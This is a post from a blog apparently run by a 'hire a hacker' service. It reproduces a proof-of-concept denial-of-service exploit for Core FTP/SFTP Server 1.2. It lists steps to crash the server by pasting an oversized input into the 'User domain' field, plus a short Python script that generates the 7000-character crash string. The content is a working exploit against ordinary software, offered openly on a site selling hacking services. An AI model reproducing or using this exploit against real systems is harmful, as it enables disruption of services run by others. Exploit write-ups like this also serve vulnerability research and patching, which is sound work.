Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86399077

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-13
#Vendor Homepage: http://www.coreftp.com/
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe
#Tested Version: v2-Build 673
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py
#2.- Open core_code.txt and copy content to clipboard
#3.- Open Core FTP Server
#4.- Select "Setup" > "New"
#5.- Select "Domain Name" and Put "Test"
#6.- Select "Domain IP/Address" and Put "1.1.1.1" 
#7.- Select "Base directory" and Choose a directory path
#8.- Enable "WinNT users" 
#9.- Select "User domain" and Paste Clipboard
#10.- Click on "Ok" and the next window click "Ok"
#11.- Crashed

cod = "\x41" * 7000

f = open('core_code.txt', 'w')
f.write(cod)
f.close()